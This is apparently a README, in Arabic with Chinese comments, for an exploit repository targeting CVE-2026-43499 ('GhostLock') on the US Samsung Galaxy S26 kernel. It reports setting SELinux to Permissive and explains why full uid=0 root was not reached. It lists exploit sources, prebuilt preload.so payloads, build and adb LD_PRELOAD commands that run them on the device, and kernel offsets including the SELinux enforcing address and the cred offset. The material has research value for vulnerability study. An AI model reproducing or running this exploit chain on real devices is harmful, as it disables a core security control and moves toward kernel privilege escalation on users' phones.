
بحث GhostLock CVE-2026-43499 لجهاز Galaxy S26 (SM-S942U1/m1q): تم تحقيق وضع SELinux Permissive، ونقل KASLR + tracefs، وتوثيق حد uid=0
بحث تصعيد الامتيازات الخاص بثغرة CVE-2026-43499 (GhostLock) على Samsung Galaxy S26 (SM-S942U1، الاسم الرمزي m1q، SoC SM8850 Snapdragon 8 Elite Gen2،
النواة 6.12.30-android16-5، Android 16).
| الهدف | الحالة |
|---|---|
| SELinux enforce 1→0 (Permissive) | ✅ تم تحقيقه (نسبة نجاح المحاولة الواحدة ≈ 44%) |
| park مستقر | ✅ يستمر لعدة دقائق |
| root كامل uid=0 + KernelSU | ❌ مقيد بقيود على مستوى النواة (انظر أدناه) |
النسخة الأمريكية تستخدم KASLR، وليست nokaslr. قيمة slide عشوائية عند كل إقلاع (تم قياسها: 0x30000/0x50000/0x130000/0x150000…).
الكود العام الأصلي polygraphene/CyberMeowfia كان يرمّز slide=0 بشكل ثابت، فكانت جميع العناوين خاطئة.
الإصلاح: نقل رصد tracefs KASLR من شجرة m3q-azf1 (slide_tracefs.c).
بدائية الكتابة في GhostLock للنسخة الأمريكية تدعم «الكتابة NULL» فقط. تعليق target.h في m3q واضح: STORE (كتابة غير NULL إلى rb_right) «KP's off-page»، وshape0 (rb_left) «KPs on AZF1»، الوحيد الذي يعمل هو EMERALD_NULL (كتابة NULL إلى rb). كتابة SELinux هي بالضبط «كتابة NULL 0 إلى enforcing»، ولذلك نجحت.
تعتمد خطة uid=0 لدى polygraphene (dirty-pipe) على كتابة CAN_MERGE(0x10) (غير NULL) إلى pipe_buffer.flags. بدائية الكتابة في النسخة الأمريكية (MTE + KDP) تستطيع كتابة NULL فقط؛ الكتابة بقيمة غير NULL تسبب kernel panic حتميًا (تم القياس 4/4 KP).
هذا ليس شيئًا يمكن تجاوزه بتعديل المعاملات — بل يتطلب إيجاد CVE ببدائية قراءة/كتابة (read/write primitive) أخرى قادرة على كتابة قيم غير NULL (أكّد مؤلف m3q الأمر نفسه في README: «Soft-root still needs info leak + cred finish»).
├── README.md # 本文件
├── docs/
│ └── M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md # 完整诊断 + 根因 + 边界
├── m3q-azf1/ # m3q 树(SELinux park 参考实现)
│ ├── generate_target.py # target.h 自动生成工具
│ ├── build_m1q.bat # NDK r29 构建脚本(美版 target)
│ ├── target.h # 美版 target(P0=0xc7800000, N1b=0)
│ └── preload-4-s1.so # SELinux Permissive 达成版(111KB)
├── polygraphene/ # polygraphene 树(uid=0 完整流程 + KASLR 修复)
│ ├── src/slide_tracefs.c # tracefs KASLR 探测(核心修复)
│ ├── src/main.c # 加 tracefs KASLR 调用
│ ├── src/util.c # SELinux NULL 写 + 空 pi_waiters
│ ├── src/fops.c # fd_set 布局
│ ├── targets/m1q-S942U1UES4AZG3/target.h # 美版 target
│ ├── build_r29.bat # 构建脚本
│ └── preload.so # SELinux 单进程成功版(162KB)
├── auto_run.ps1 # 自动化重试脚本(含 root 检测)
└── kallsyms/ # 美版内核符号表
└── kallsyms.txt # 128307 符号(5.7MB)
# 构建(已含 tracefs KASLR 修复)
cd polygraphene
cmd /c build_r29.bat
# 推送 + 运行
adb push build/m1q-S942U1UES4AZG3/bin/preload.so /data/local/tmp/preload.so
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# 观察日志,SELinux 成功后 getenforce → Permissive
cd m3q-azf1
cmd /c build_m1q.bat
adb push source/build/bin/preload-4-s1.so /data/local/tmp/preload-4-s1.so
adb shell "LD_PRELOAD=/data/local/tmp/preload-4-s1.so /system/bin/true"
# 成功标志:slide-kaslr-ok + S1_READY + getenforce → Permissive
| المعامل | القيمة | المصدر |
|---|
P0_KERNEL_PHYS_LOAD | 0xc7800000 | تأكيد موثوق من generate_target.py عبر xbl_config |
PSELECT_WAITER_WORD_SHIFT | 2 | فك تجميع النواة: derive_pselect_layout |
SELINUX_ENFORCING | 0xffffffc0827afb08 | kallsyms |
task_struct.prio | 0x94 | BTF (قيمة 6.12، وليست 0x84 الخاصة بـ 6.6) |
task_struct.cred | 0x900 | BTF |
| mm_struct objsize | 1280 (0x500) | /proc/slabinfo |